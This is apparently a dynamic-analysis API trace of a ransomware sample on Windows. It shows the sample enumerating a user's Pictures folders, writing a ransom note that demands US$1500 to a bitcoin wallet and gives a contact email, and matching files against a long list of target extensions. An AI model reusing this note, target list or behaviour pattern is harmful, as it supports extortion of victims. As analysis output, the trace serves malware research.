ftLastAccessTime.dwHighDateTime=0x1d5df12, ftLastWriteTime.dwLowDateTime=0x9cf2c960, ftLastWriteTime.dwHighDateTime=0x1d5df12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0091.047] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.047] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a44b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x9cf2c960, ftLastAccessTime.dwHighDateTime=0x1d5df12, ftLastWriteTime.dwLowDateTime=0x9cf2c960, ftLastWriteTime.dwHighDateTime=0x1d5df12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.047] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.047] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.047] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5839030, ftCreationTime.dwHighDateTime=0x1d5d910, ftLastAccessTime.dwLowDateTime=0x9d9a4470, ftLastAccessTime.dwHighDateTime=0x1d5df48, ftLastWriteTime.dwLowDateTime=0x9d9a4470, ftLastWriteTime.dwHighDateTime=0x1d5df48, nFileSizeHigh=0x0, nFileSizeLow=0x3b2c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5AYwfKjXmMYJmy3l.gif", cAlternateFileName="5AYWFK~1.GIF")) returned 1 [0091.047] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0091.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5AYwfKjXmMYJmy3l.gif") returned 1 [0091.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5AYwfKjXmMYJmy3l.gif") returned 1 [0091.047] lstrcmpiA (lpString1="", lpString2="5AYwfKjXmMYJmy3l.gif") returned -1 [0091.047] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\*.*") returned="*.*" [0091.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" [0091.047] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\") returned="" [0091.047] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt" [0091.047] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\how to decrypt files.txt")) returned 0xffffffff [0091.047] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0091.070] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.070] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.071] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.071] CloseHandle (hObject=0x9c) returned 1 [0091.071] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\", lpString2="5AYwfKjXmMYJmy3l.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif" [0091.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.ems") returned 0 [0091.072] lstrlenA (lpString="*.ems") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.db") returned 0 [0091.072] lstrlenA (lpString="*.db") returned 4 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.dbf") returned 0 [0091.072] lstrlenA (lpString="*.dbf") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.myox") returned 0 [0091.072] lstrlenA (lpString="*.myox") returned 6 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.myo") returned 0 [0091.072] lstrlenA (lpString="*.myo") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbw") returned 0 [0091.072] lstrlenA (lpString="*.qbw") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbb") returned 0 [0091.072] lstrlenA (lpString="*.qbb") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbm") returned 0 [0091.072] lstrlenA (lpString="*.qbm") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbo") returned 0 [0091.072] lstrlenA (lpString="*.qbo") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbx") returned 0 [0091.072] lstrlenA (lpString="*.qbx") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qba") returned 0 [0091.072] lstrlenA (lpString="*.qba") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qby") returned 0 [0091.072] lstrlenA (lpString="*.qby") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qbj") returned 0 [0091.072] lstrlenA (lpString="*.qbj") returned 5 [0091.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.ofx") returned 0 [0091.072] lstrlenA (lpString="*.ofx") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.qif") returned 0 [0091.073] lstrlenA (lpString="*.qif") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mye") returned 0 [0091.073] lstrlenA (lpString="*.mye") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mbox") returned 0 [0091.073] lstrlenA (lpString="*.mbox") returned 6 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.eml") returned 0 [0091.073] lstrlenA (lpString="*.eml") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.pst") returned 0 [0091.073] lstrlenA (lpString="*.pst") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.ost") returned 0 [0091.073] lstrlenA (lpString="*.ost") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.idx") returned 0 [0091.073] lstrlenA (lpString="*.idx") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.dbx") returned 0 [0091.073] lstrlenA (lpString="*.dbx") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.sql") returned 0 [0091.073] lstrlenA (lpString="*.sql") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mdb") returned 0 [0091.073] lstrlenA (lpString="*.mdb") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.fdb") returned 0 [0091.073] lstrlenA (lpString="*.fdb") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.wab") returned 0 [0091.073] lstrlenA (lpString="*.wab") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.dat") returned 0 [0091.073] lstrlenA (lpString="*.dat") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.txt") returned 0 [0091.073] lstrlenA (lpString="*.txt") returned 5 [0091.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.jpeg") returned 0 [0091.074] lstrlenA (lpString="*.jpeg") returned 6 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.jpg") returned 0 [0091.074] lstrlenA (lpString="*.jpg") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.png") returned 0 [0091.074] lstrlenA (lpString="*.png") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.php") returned 0 [0091.074] lstrlenA (lpString="*.php") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.cs") returned 0 [0091.074] lstrlenA (lpString="*.cs") returned 4 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.cpp") returned 0 [0091.074] lstrlenA (lpString="*.cpp") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.rar") returned 0 [0091.074] lstrlenA (lpString="*.rar") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.zip") returned 0 [0091.074] lstrlenA (lpString="*.zip") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.html") returned 0 [0091.074] lstrlenA (lpString="*.html") returned 6 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.htm") returned 0 [0091.074] lstrlenA (lpString="*.htm") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.xlsx") returned 0 [0091.074] lstrlenA (lpString="*.xlsx") returned 6 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.xls") returned 0 [0091.074] lstrlenA (lpString="*.xls") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mp4") returned 0 [0091.074] lstrlenA (lpString="*.mp4") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.ppt") returned 0 [0091.074] lstrlenA (lpString="*.ppt") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.pptx") returned 0 [0091.074] lstrlenA (lpString="*.pptx") returned 6 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.doc") returned 0 [0091.074] lstrlenA (lpString="*.doc") returned 5 [0091.074] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.dot") returned 0 [0091.074] lstrlenA (lpString="*.dot") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.docx") returned 0 [0091.075] lstrlenA (lpString="*.docx") returned 6 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.7z") returned 0 [0091.075] lstrlenA (lpString="*.7z") returned 4 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.tar") returned 0 [0091.075] lstrlenA (lpString="*.tar") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.bz2") returned 0 [0091.075] lstrlenA (lpString="*.bz2") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.gz") returned 0 [0091.075] lstrlenA (lpString="*.gz") returned 4 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.mkv") returned 0 [0091.075] lstrlenA (lpString="*.mkv") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.eml") returned 0 [0091.075] lstrlenA (lpString="*.eml") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.msg") returned 0 [0091.075] lstrlenA (lpString="*.msg") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.edb") returned 0 [0091.075] lstrlenA (lpString="*.edb") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.accdb") returned 0 [0091.075] lstrlenA (lpString="*.accdb") returned 7 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.odb") returned 0 [0091.075] lstrlenA (lpString="*.odb") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.java") returned 0 [0091.075] lstrlenA (lpString="*.java") returned 6 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.asm") returned 0 [0091.075] lstrlenA (lpString="*.asm") returned 5 [0091.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\5AYwfKjXmMYJmy3l.gif", pszSpec="*.pfx") returned 0 [0091.075] lstrlenA (lpString="*.pfx") returned 5 